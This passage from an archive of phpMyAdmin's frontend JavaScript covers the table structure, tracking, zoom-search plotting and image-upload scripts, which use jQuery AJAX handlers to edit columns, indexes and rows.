Messages.strColumnMin + ' ' + response.column_data.min + ')' : ''; // Get the column max value. var max = response.column_data.max ? '(' + Messages.strColumnMax + ' ' + response.column_data.max + ')' : ''; $('#rangeSearchModal').modal('show'); $('#rangeSearchLegend').first().html(operator); $('#rangeSearchMin').first().text(min); $('#rangeSearchMax').first().text(max); // Reset input values on reuse $('#min_value').first().val(''); $('#max_value').first().val(''); // Add datepicker wherever required. Functions.addDatepicker($('#min_value'), dataType); Functions.addDatepicker($('#max_value'), dataType); $('#rangeSearchModalGo').on('click', function () { var minValue = $('#min_value').val(); var maxValue = $('#max_value').val(); var finalValue = ''; if (minValue.length && maxValue.length) { finalValue = minValue + ', ' + maxValue; } var $targetField = $sourceSelect.closest('tr').find('[name*="criteriaValues"]'); // If target field is a select list. if ($targetField.is('select')) { $targetField.val(finalValue); var $options = $targetField.find('option'); var $closestMin = null; var $closestMax = null; // Find closest min and max value. $options.each(function () { if ($closestMin === null || Math.abs($(this).val() - minValue) < Math.abs($closestMin.val() - minValue)) { $closestMin = $(this); } if ($closestMax === null || Math.abs($(this).val() - maxValue) < Math.abs($closestMax.val() - maxValue)) { $closestMax = $(this); } }); $closestMin.attr('selected', 'selected'); $closestMax.attr('selected', 'selected'); } else { $targetField.val(finalValue); } $('#rangeSearchModal').modal('hide'); }); } else { Functions.ajaxShowMessage(response.error); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); } }); var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', windowWidth - 69 + 'px'); });dist/table/structure.js000066600000040222151724472050011207 0ustar00/** * @fileoverview functions used on the table structure page * @name Table Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ // eslint-disable-next-line no-unused-vars /* global primaryIndexes:writable, indexes:writable, fulltextIndexes:writable, spatialIndexes:writable */ // js/functions.js /* global sprintf */ // js/vendor/sprintf.js /** * AJAX scripts for /table/structure * * Actions ajaxified here: * Drop Column * Add Primary Key * Drop Primary Key/Index * */ /** * Reload fields table */ function reloadFieldForm() { $.post($('#fieldsForm').attr('action'), $('#fieldsForm').serialize() + CommonParams.get('arg_separator') + 'ajax_request=true', function (formData) { var $tempDiv = $('
        ').append(formData.message); $('#fieldsForm').replaceWith($tempDiv.find('#fieldsForm')); $('#addColumns').replaceWith($tempDiv.find('#addColumns')); $('#move_columns_dialog').find('ul').replaceWith($tempDiv.find('#move_columns_dialog ul')); }); $('#page_content').show(); } function checkFirst() { if ($('select[name=after_field] option:selected').data('pos') === 'first') { $('input[name=field_where]').val('first'); } else { $('input[name=field_where]').val('after'); } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/structure.js', function () { $(document).off('click', 'a.drop_column_anchor.ajax'); $(document).off('click', 'a.add_key.ajax'); $(document).off('click', '#move_columns_anchor'); $(document).off('submit', '.append_fields_form.ajax'); $('body').off('click', '#fieldsForm button.mult_submit'); $(document).off('click', 'a[id^=partition_action].ajax'); $(document).off('click', '#remove_partitioning.ajax'); }); AJAX.registerOnload('table/structure.js', function () { // Re-initialize variables. primaryIndexes = []; indexes = []; fulltextIndexes = []; spatialIndexes = []; /** *Ajax action for submitting the "Column Change" and "Add Column" form */ $('.append_fields_form.ajax').off(); $(document).on('submit', '.append_fields_form.ajax', function (event) { event.preventDefault(); /** * @var form object referring to the export form */ var $form = $(this); var fieldCnt = $form.find('input[name=orig_num_fields]').val(); function submitForm() { var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } else if ($('.error:not(.tab)').length !== 0) { $('.error:not(.tab)').remove(); } if (typeof data.success !== 'undefined' && data.success === true) { $('#page_content').empty().append(data.message).show(); Functions.highlightSql($('#page_content')); $('.result_query .alert-primary').remove(); if (typeof data.structure_refresh_route !== 'string') { // Do not reload the form when the code below freshly filled it reloadFieldForm(); } $form.remove(); Functions.ajaxRemoveMessage($msg); Navigation.reload(); if (typeof data.structure_refresh_route === 'string') { // Fetch the table structure right after adding a new column $.get(data.structure_refresh_route, function (data) { if (typeof data.success !== 'undefined' && data.success === true) { $('#page_content').append(data.message).show(); } }); } else { CommonActions.refreshMain('index.php?route=/table/structure'); } } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } function checkIfConfirmRequired($form) { var i = 0; var id; var elm; var val; var nameOrig; var elmOrig; var valOrig; var checkRequired = false; for (i = 0; i < fieldCnt; i++) { id = '#field_' + i + '_5'; elm = $(id); val = elm.val(); nameOrig = 'input[name=field_collation_orig\\[' + i + '\\]]'; elmOrig = $form.find(nameOrig); valOrig = elmOrig.val(); if (val && valOrig && val !== valOrig) { checkRequired = true; break; } } return checkRequired; } /* * First validate the form; if there is a problem, avoid submitting it * * Functions.checkTableEditForm() needs a pure element and not a jQuery object, * this is why we pass $form[0] as a parameter (the jQuery object * is actually an array of DOM elements) */ if (Functions.checkTableEditForm($form[0], fieldCnt)) { // OK, form passed validation step Functions.prepareForAjaxRequest($form); if (Functions.checkReservedWordColumns($form)) { // User wants to submit the form // If Collation is changed, Warn and Confirm if (checkIfConfirmRequired($form)) { var question = sprintf(Messages.strChangeColumnCollation, 'https://wiki.phpmyadmin.net/pma/Garbled_data'); $form.confirm(question, $form.attr('action'), function () { submitForm(); }); } else { submitForm(); } } } }); // end change table button "do_save_data" /** * Attach Event Handler for 'Drop Column' */ $(document).on('click', 'a.drop_column_anchor.ajax', function (event) { event.preventDefault(); /** * @var currTableName String containing the name of the current table */ var currTableName = $(this).closest('form').find('input[name=table]').val(); /** * @var currRow Object reference to the currently selected row (i.e. field in the table) */ var $currRow = $(this).parents('tr'); /** * @var currColumnName String containing name of the field referred to by {@link curr_row} */ var currColumnName = $currRow.children('th').children('label').text().trim(); currColumnName = Functions.escapeHtml(currColumnName); /** * @var $afterFieldItem Corresponding entry in the 'After' field. */ var $afterFieldItem = $('select[name=\'after_field\'] option[value=\'' + currColumnName + '\']'); /** * @var question String containing the question to be asked for confirmation */ var question = Functions.sprintf(Messages.strDoYouReally, 'ALTER TABLE `' + currTableName + '` DROP `' + currColumnName + '`;'); var $thisAnchor = $(this); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingColumn, false); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); params += CommonParams.get('arg_separator') + 'ajax_page_request=1'; $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); if ($('.result_query').length) { $('.result_query').remove(); } if (data.sql_query) { $('
        ').html(data.sql_query).prependTo('#structure_content'); Functions.highlightSql($('#page_content')); } // Adjust the row numbers for (var $row = $currRow.next(); $row.length > 0; $row = $row.next()) { var newVal = parseInt($row.find('td').eq(1).text(), 10) - 1; $row.find('td').eq(1).text(newVal); } $afterFieldItem.remove(); $currRow.hide('medium').remove(); // Remove the dropped column from select menu for 'after field' $('select[name=after_field]').find('[value="' + currColumnName + '"]').remove(); // by default select the (new) last option to add new column // (in case last column is dropped) $('select[name=after_field] option').last().attr('selected', 'selected'); // refresh table stats if (data.tableStat) { $('#tablestatistics').html(data.tableStat); } // refresh the list of indexes (comes from /sql) $('.index_info').replaceWith(data.indexes_list); Navigation.reload(); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end of Drop Column Anchor action /** * Ajax Event handler for adding keys */ $(document).on('click', 'a.add_key.ajax', function (event) { event.preventDefault(); var $this = $(this); var currTableName = $this.closest('form').find('input[name=table]').val(); var currColumnName = $this.parents('tr').children('th').children('label').text().trim(); var addClause = ''; if ($this.is('.add_primary_key_anchor')) { addClause = 'ADD PRIMARY KEY'; } else if ($this.is('.add_index_anchor')) { addClause = 'ADD INDEX'; } else if ($this.is('.add_unique_anchor')) { addClause = 'ADD UNIQUE'; } else if ($this.is('.add_spatial_anchor')) { addClause = 'ADD SPATIAL'; } else if ($this.is('.add_fulltext_anchor')) { addClause = 'ADD FULLTEXT'; } var question = Functions.sprintf(Messages.strDoYouReally, 'ALTER TABLE `' + Functions.escapeHtml(currTableName) + '` ' + addClause + '(`' + Functions.escapeHtml(currColumnName) + '`);'); var $thisAnchor = $(this); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $this; var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); params += CommonParams.get('arg_separator') + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); // end Add key /** * Inline move columns **/ $(document).on('click', '#move_columns_anchor', function (e) { e.preventDefault(); var buttonOptionsError = {}; buttonOptionsError[Messages.strOK] = function () { $(this).dialog('close').remove(); }; var columns = []; $('#tablestructure').find('tbody tr').each(function () { var colName = $(this).find('input:checkbox').eq(0).val(); var hiddenInput = $('').prop({ name: 'move_columns[]', type: 'hidden' }).val(colName); columns[columns.length] = $('
      • ').addClass('placeholderDrag').text(colName).append(hiddenInput); }); var colList = $('#move_columns_dialog').find('ul').find('li').remove().end(); for (var i in columns) { colList.append(columns[i]); } colList.sortable({ axis: 'y', containment: $('#move_columns_dialog').find('div'), tolerance: 'pointer' }).disableSelection(); var $form = $('#move_columns_dialog').find('form'); $form.data('serialized-unmoved', $form.serialize()); const designerModalPreviewModal = document.getElementById('designerModalPreviewModal'); designerModalPreviewModal.addEventListener('shown.bs.modal', () => { const modalBody = designerModalPreviewModal.querySelector('.modal-body'); const $form = $('#move_column_form'); const formUrl = $form.attr('action'); const sep = CommonParams.get('arg_separator'); const formData = $form.serialize() + sep + 'preview_sql=1' + sep + 'ajax_request=1'; $.post({ url: formUrl, data: formData, success: response => { if (!response.success) { modalBody.innerHTML = ''; return; } modalBody.innerHTML = response.sql_data; Functions.highlightSql($('#designerModalPreviewModal')); }, error: () => { modalBody.innerHTML = ''; } }); }); designerModalPreviewModal.addEventListener('hidden.bs.modal', () => { designerModalPreviewModal.querySelector('.modal-body').innerHTML = '
        ' + '' + Messages.strLoading + '
        '; }); $('#moveColumnsModal').modal('show'); $('#designerModalGoButton').off('click'); // Unregister previous modals $('#designerModalGoButton').on('click', function () { event.preventDefault(); var $msgbox = Functions.ajaxShowMessage(); var $this = $('#moveColumnsModal'); var $form = $this.find('form'); var serialized = $form.serialize(); // check if any columns were moved at all $('#moveColumnsModal').modal('hide'); if (serialized === $form.data('serialized-unmoved')) { Functions.ajaxRemoveMessage($msgbox); return; } $.post($form.prop('action'), serialized + CommonParams.get('arg_separator') + 'ajax_request=true', function (data) { if (data.success === false) { Functions.ajaxRemoveMessage($msgbox); var errorModal = $('#moveColumnsErrorModal'); errorModal.modal('show'); errorModal.find('.modal-body').first().html(data.error); } else { // sort the fields table var $fieldsTable = $('table#tablestructure tbody'); // remove all existing rows and remember them var $rows = $fieldsTable.find('tr').remove(); // loop through the correct order for (var i in data.columns) { var theColumn = data.columns[i]; var $theRow = $rows.find('input:checkbox[value=\'' + theColumn + '\']').closest('tr'); // append the row for this column to the table $fieldsTable.append($theRow); } var $firstrow = $fieldsTable.find('tr').eq(0); // Adjust the row numbers and colors for (var $row = $firstrow; $row.length > 0; $row = $row.next()) { $row.find('td').eq(1).text($row.index() + 1).end().removeClass('odd even').addClass($row.index() % 2 === 0 ? 'odd' : 'even'); } Functions.ajaxShowMessage(data.message); } }); }); }); /** * Handles multi submits in table structure page such as change, browse, drop, primary etc. */ $('body').on('click', '#fieldsForm button.mult_submit', function (e) { e.preventDefault(); var $form = $(this).parents('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post(this.formAction, submitData, AJAX.responseHandler); }); /** * Handles clicks on Action links in partition table */ $(document).on('click', 'a[id^=partition_action].ajax', function (e) { e.preventDefault(); var $link = $(this); function submitPartitionAction(url) { var params = 'ajax_request=true&ajax_page_request=true&' + $link.getPostData(); Functions.ajaxShowMessage(); AJAX.source = $link; $.post(url, params, AJAX.responseHandler); } if ($link.is('#partition_action_DROP')) { $link.confirm(Messages.strDropPartitionWarning, $link.attr('href'), function (url) { submitPartitionAction(url); }); } else if ($link.is('#partition_action_TRUNCATE')) { $link.confirm(Messages.strTruncatePartitionWarning, $link.attr('href'), function (url) { submitPartitionAction(url); }); } else { submitPartitionAction($link.attr('href')); } }); /** * Handles remove partitioning */ $(document).on('click', '#remove_partitioning.ajax', function (e) { e.preventDefault(); var $link = $(this); var question = Messages.strRemovePartitioningWarning; $link.confirm(question, $link.attr('href'), function (url) { var params = Functions.getJsConfirmCommonParam({ 'ajax_request': true, 'ajax_page_request': true }, $link.getPostData()); Functions.ajaxShowMessage(); AJAX.source = $link; $.post(url, params, AJAX.responseHandler); }); }); $(document).on('change', 'select[name=after_field]', function () { checkFirst(); }); });dist/table/tracking.js000066600000007247151724472050010763 0ustar00/** * Unbind all event handlers before tearing down the page */ AJAX.registerTeardown('table/tracking.js', function () { $('body').off('click', '#versionsForm.ajax button[name="submit_mult"], #versionsForm.ajax input[name="submit_mult"]'); $('body').off('click', 'a.delete_version_anchor.ajax'); $('body').off('click', 'a.delete_entry_anchor.ajax'); }); /** * Bind event handlers */ AJAX.registerOnload('table/tracking.js', function () { $('#versions tr').first().find('th').append($('
        ')); $('#versions').tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 1: { sorter: 'integer' }, 5: { sorter: false }, 6: { sorter: false } } }); if ($('#ddl_versions tbody tr').length > 0) { $('#ddl_versions tr').first().find('th').append($('
        ')); $('#ddl_versions').tablesorter({ sortList: [[0, 0]], headers: { 0: { sorter: 'integer' }, 3: { sorter: false }, 4: { sorter: false } } }); } if ($('#dml_versions tbody tr').length > 0) { $('#dml_versions tr').first().find('th').append($('
        ')); $('#dml_versions').tablesorter({ sortList: [[0, 0]], headers: { 0: { sorter: 'integer' }, 3: { sorter: false }, 4: { sorter: false } } }); } /** * Handles multi submit for tracking versions */ $('body').on('click', '#versionsForm.ajax button[name="submit_mult"], #versionsForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); if ($button.val() === 'delete_version') { var question = Messages.strDeleteTrackingVersionMultiple; $button.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $form; $.post(url, submitData, AJAX.responseHandler); }); } else { Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } }); /** * Ajax Event handler for 'Delete version' */ $('body').on('click', 'a.delete_version_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeleteTrackingVersion; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); /** * Ajax Event handler for 'Delete tracking report entry' */ $('body').on('click', 'a.delete_entry_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeletingTrackingEntry; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); });dist/table/zoom_plot_jqplot.js000066600000045043151724472050012570 0ustar00// TODO: change the axis /** * @fileoverview JavaScript functions used on /table/search * * @requires jQuery * @requires js/functions.js **/ /* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js /** * Display Help/Info * @return {false} **/ function displayHelp() { var modal = $('#helpModal'); modal.modal('show'); modal.find('.modal-body').first().html(Messages.strDisplayHelp); $('#helpModalLabel').first().html(Messages.strHelpTitle); return false; } /** * Extend the array object for max function * @param {number[]} array * @return {int} **/ Array.max = function (array) { return Math.max.apply(Math, array); }; /** * Extend the array object for min function * @param {number[]} array * @return {int} **/ Array.min = function (array) { return Math.min.apply(Math, array); }; /** * Checks if a string contains only numeric value * @param {string} n (to be checked) * @return {bool} **/ function isNumeric(n) { return !isNaN(parseFloat(n)) && isFinite(n); } /** ** Checks if an object is empty * @param {object} obj (to be checked) * @return {bool} **/ function isEmpty(obj) { var name; for (name in obj) { return false; } return true; } /** * Converts a date/time into timestamp * @param {string} val Date * @param {string} type Field type(datetime/timestamp/time/date) * @return {any} A value **/ function getTimeStamp(val, type) { if (type.toString().search(/datetime/i) !== -1 || type.toString().search(/timestamp/i) !== -1) { return $.datepicker.parseDateTime('yy-mm-dd', 'HH:mm:ss', val); } else if (type.toString().search(/time/i) !== -1) { return $.datepicker.parseDateTime('yy-mm-dd', 'HH:mm:ss', '1970-01-01 ' + val); } else if (type.toString().search(/date/i) !== -1) { return $.datepicker.parseDate('yy-mm-dd', val); } } /** * Classifies the field type into numeric,timeseries or text * @param {object} field field type (as in database structure) * @return {'text'|'numeric'|'time'} **/ function getType(field) { if (field.toString().search(/int/i) !== -1 || field.toString().search(/decimal/i) !== -1 || field.toString().search(/year/i) !== -1) { return 'numeric'; } else if (field.toString().search(/time/i) !== -1 || field.toString().search(/date/i) !== -1) { return 'time'; } else { return 'text'; } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/zoom_plot_jqplot.js', function () { $('#tableid_0').off('change'); $('#tableid_1').off('change'); $('#tableid_2').off('change'); $('#tableid_3').off('change'); $('#inputFormSubmitId').off('click'); $('#togglesearchformlink').off('click'); $(document).off('keydown', '#dataDisplay :input'); $('button.button-reset').off('click'); $('div#resizer').off('resizestop'); $('div#querychart').off('jqplotDataClick'); }); AJAX.registerOnload('table/zoom_plot_jqplot.js', function () { var currentChart = null; var searchedDataKey = null; var xLabel = $('#tableid_0').val(); var yLabel = $('#tableid_1').val(); // will be updated via Ajax var xType = $('#types_0').val(); var yType = $('#types_1').val(); var dataLabel = $('#dataLabel').val(); // Get query result var searchedData; try { searchedData = JSON.parse($('#querydata').html()); } catch (err) { searchedData = null; } // adding event listener on select after AJAX request var comparisonOperatorOnChange = function () { var tableRows = $('#inputSection select.column-operator'); $.each(tableRows, function (index, item) { $(item).on('change', function () { changeValueFieldType(this, index); verifyAfterSearchFieldChange(index, '#zoom_search_form'); }); }); }; /** ** Input form submit on field change **/ // first column choice corresponds to the X axis $('#tableid_0').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request': true, 'change_tbl_info': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'field': $('#tableid_0').val(), 'it': 0 }, function (data) { $('#tableFieldsId').find('tr').eq(1).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(1).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(1).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(1).find('td').eq(3).html(data.field_value); xLabel = $('#tableid_0').val(); $('#types_0').val(data.field_type); xType = data.field_type; $('#collations_0').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); // second column choice corresponds to the Y axis $('#tableid_1').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request': true, 'change_tbl_info': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'field': $('#tableid_1').val(), 'it': 1 }, function (data) { $('#tableFieldsId').find('tr').eq(2).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(2).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(2).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(2).find('td').eq(3).html(data.field_value); yLabel = $('#tableid_1').val(); $('#types_1').val(data.field_type); yType = data.field_type; $('#collations_1').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); $('#tableid_2').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request': true, 'change_tbl_info': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'field': $('#tableid_2').val(), 'it': 2 }, function (data) { $('#tableFieldsId').find('tr').eq(4).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(4).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(4).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(4).find('td').eq(3).html(data.field_value); $('#types_2').val(data.field_type); $('#collations_2').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); $('#tableid_3').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request': true, 'change_tbl_info': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'field': $('#tableid_3').val(), 'it': 3 }, function (data) { $('#tableFieldsId').find('tr').eq(5).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(5).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(5).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(5).find('td').eq(3).html(data.field_value); $('#types_3').val(data.field_type); $('#collations_3').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); /** * Input form validation **/ $('#inputFormSubmitId').on('click', function () { if ($('#tableid_0').get(0).selectedIndex === 0 || $('#tableid_1').get(0).selectedIndex === 0) { Functions.ajaxShowMessage(Messages.strInputNull); } else if (xLabel === yLabel) { Functions.ajaxShowMessage(Messages.strSameInputs); } }); /** ** Prepare a div containing a link, otherwise it's incorrectly displayed ** after a couple of clicks **/ $('
        ').insertAfter('#zoom_search_form') // don't show it until we have results on-screen .hide(); $('#togglesearchformlink').html(Messages.strShowSearchCriteria).on('click', function () { var $link = $(this); $('#zoom_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } // avoid default click action return false; }); /** * Handle saving of a row in the editor */ var dataPointSave = function () { // Find changed values by comparing form values with selectedRow Object var newValues = {}; // Stores the values changed from original var sqlTypes = {}; var it = 0; var xChange = false; var yChange = false; var key; var tempGetVal = function () { return $(this).val(); }; for (key in selectedRow) { var oldVal = selectedRow[key]; var newVal = $('#edit_fields_null_id_' + it).prop('checked') ? null : $('#edit_fieldID_' + it).val(); if (newVal instanceof Array) { // when the column is of type SET newVal = $('#edit_fieldID_' + it).map(tempGetVal).get().join(','); } if (oldVal !== newVal) { selectedRow[key] = newVal; newValues[key] = newVal; if (key === xLabel) { xChange = true; searchedData[searchedDataKey][xLabel] = newVal; } else if (key === yLabel) { yChange = true; searchedData[searchedDataKey][yLabel] = newVal; } } var $input = $('#edit_fieldID_' + it); if ($input.hasClass('bit')) { sqlTypes[key] = 'bit'; } else { sqlTypes[key] = null; } it++; } // End data update // Update the chart series and replot if (xChange || yChange) { // Logic similar to plot generation, replot only if xAxis changes or yAxis changes. // Code includes a lot of checks so as to replot only when necessary if (xChange) { xCord[searchedDataKey] = selectedRow[xLabel]; // [searchedDataKey][0] contains the x value if (xType === 'numeric') { series[0][searchedDataKey][0] = selectedRow[xLabel]; } else if (xType === 'time') { series[0][searchedDataKey][0] = getTimeStamp(selectedRow[xLabel], $('#types_0').val()); } else { series[0][searchedDataKey][0] = ''; // TODO: text values } currentChart.series[0].data = series[0]; // TODO: axis changing currentChart.replot(); } if (yChange) { yCord[searchedDataKey] = selectedRow[yLabel]; // [searchedDataKey][1] contains the y value if (yType === 'numeric') { series[0][searchedDataKey][1] = selectedRow[yLabel]; } else if (yType === 'time') { series[0][searchedDataKey][1] = getTimeStamp(selectedRow[yLabel], $('#types_1').val()); } else { series[0][searchedDataKey][1] = ''; // TODO: text values } currentChart.series[0].data = series[0]; // TODO: axis changing currentChart.replot(); } } // End plot update // Generate SQL query for update if (!isEmpty(newValues)) { var sqlQuery = 'UPDATE `' + CommonParams.get('table') + '` SET '; for (key in newValues) { sqlQuery += '`' + key + '`='; var value = newValues[key]; // null if (value === null) { sqlQuery += 'NULL, '; // empty } else if (value.trim() === '') { sqlQuery += '\'\', '; // other } else { // type explicitly identified if (sqlTypes[key] !== null) { if (sqlTypes[key] === 'bit') { sqlQuery += 'b\'' + value + '\', '; } // type not explicitly identified } else { if (!isNumeric(value)) { sqlQuery += '\'' + value + '\', '; } else { sqlQuery += value + ', '; } } } } // remove two extraneous characters ', ' sqlQuery = sqlQuery.substring(0, sqlQuery.length - 2); sqlQuery += ' WHERE ' + Sql.urlDecode(searchedData[searchedDataKey].where_clause); $.post('index.php?route=/sql', { 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'ajax_request': true, 'sql_query': sqlQuery, 'inline_edit': false }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#sqlqueryresultsouter').html(data.sql_query); Functions.highlightSql($('#sqlqueryresultsouter')); } else { Functions.ajaxShowMessage(data.error, false); } }); // End $.post } // End database update }; $('#dataPointSaveButton').on('click', function () { dataPointSave(); }); $('#dataPointModalLabel').first().html(Messages.strDataPointContent); /** * Attach Ajax event handlers for input fields * in the dialog. Used to submit the Ajax * request when the ENTER key is pressed. */ $(document).on('keydown', '#dataDisplay :input', function (e) { if (e.which === 13) { // 13 is the ENTER key e.preventDefault(); if (typeof dataPointSave === 'function') { dataPointSave(); } } }); /* * Generate plot using jqplot */ if (searchedData !== null) { $('#zoom_search_form').slideToggle().hide(); $('#togglesearchformlink').text(Messages.strShowSearchCriteria); $('#togglesearchformdiv').show(); var selectedRow; var series = []; var xCord = []; var yCord = []; var xVal; var yVal; var format; var options = { series: [ // for a scatter plot { showLine: false }], grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { label: $('#tableid_0').val(), labelRenderer: $.jqplot.CanvasAxisLabelRenderer }, yaxis: { label: $('#tableid_1').val(), labelRenderer: $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'y', yvalues: 2, // hide the first y value formatString: '%s%s' }, cursor: { show: true, zoom: true, showTooltip: false } }; // If data label is not set, do not show tooltips if (dataLabel === '') { options.highlighter.show = false; } // Classify types as either numeric,time,text xType = getType(xType); yType = getType(yType); // could have multiple series but we'll have just one series[0] = []; if (xType === 'time') { var originalXType = $('#types_0').val(); if (originalXType === 'date') { format = '%Y-%m-%d'; } // TODO: does not seem to work // else if (originalXType === 'time') { // format = '%H:%M'; // } else { // format = '%Y-%m-%d %H:%M'; // } $.extend(options.axes.xaxis, { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: format } }); } if (yType === 'time') { var originalYType = $('#types_1').val(); if (originalYType === 'date') { format = '%Y-%m-%d'; } $.extend(options.axes.yaxis, { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: format } }); } $.each(searchedData, function (key, value) { if (xType === 'numeric') { xVal = parseFloat(value[xLabel]); } if (xType === 'time') { xVal = getTimeStamp(value[xLabel], originalXType); } if (yType === 'numeric') { yVal = parseFloat(value[yLabel]); } if (yType === 'time') { yVal = getTimeStamp(value[yLabel], originalYType); } series[0].push([xVal, yVal, // extra Y values value[dataLabel], // for highlighter // (may set an undefined value) value.where_clause, // for click on point key, // key from searchedData value.where_clause_sign]); }); // under IE 8, the initial display is mangled; after a manual // resizing, it's ok // under IE 9, everything is fine currentChart = $.jqplot('querychart', series, options); currentChart.resetZoom(); $('button.button-reset').on('click', function (event) { event.preventDefault(); currentChart.resetZoom(); }); $('div#resizer').resizable(); $('div#resizer').on('resizestop', function () { // make room so that the handle will still appear $('div#querychart').height($('div#resizer').height() * 0.96); $('div#querychart').width($('div#resizer').width() * 0.96); currentChart.replot({ resetAxes: true }); }); $('div#querychart').on('jqplotDataClick', function (event, seriesIndex, pointIndex, data) { searchedDataKey = data[4]; // key from searchedData (global) var fieldId = 0; var postParams = { 'ajax_request': true, 'get_data_row': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'where_clause': data[3], 'where_clause_sign': data[5] }; $.post('index.php?route=/table/zoom-search', postParams, function (data) { // Row is contained in data.row_info, // now fill the displayResultForm with row values var key; for (key in data.row_info) { var $field = $('#edit_fieldID_' + fieldId); var $fieldNull = $('#edit_fields_null_id_' + fieldId); if (data.row_info[key] === null) { $fieldNull.prop('checked', true); $field.val(''); } else { $fieldNull.prop('checked', false); if ($field.attr('multiple')) { // when the column is of type SET $field.val(data.row_info[key].split(',')); } else { $field.val(data.row_info[key]); } } fieldId++; } selectedRow = data.row_info; }); $('#dataPointModal').modal('show'); }); } $('#help_dialog').on('click', function () { displayHelp(); }); });dist/transformations/image_upload.js000066600000001332151724472050013736 0ustar00/** * Image upload transformations plugin js * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/image_upload.js', function () { // Change thumbnail when image file is selected // through file upload dialog $('input.image-upload').on('change', function () { if (this.files && this.files[0]) { var reader = new FileReader(); var $input = $(this); reader.onload = function (e) { $input.prevAll('img').attr('src', e.target.result); }; reader.readAsDataURL(this.files[0]); } }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('transformations/image_upload.js', function () { 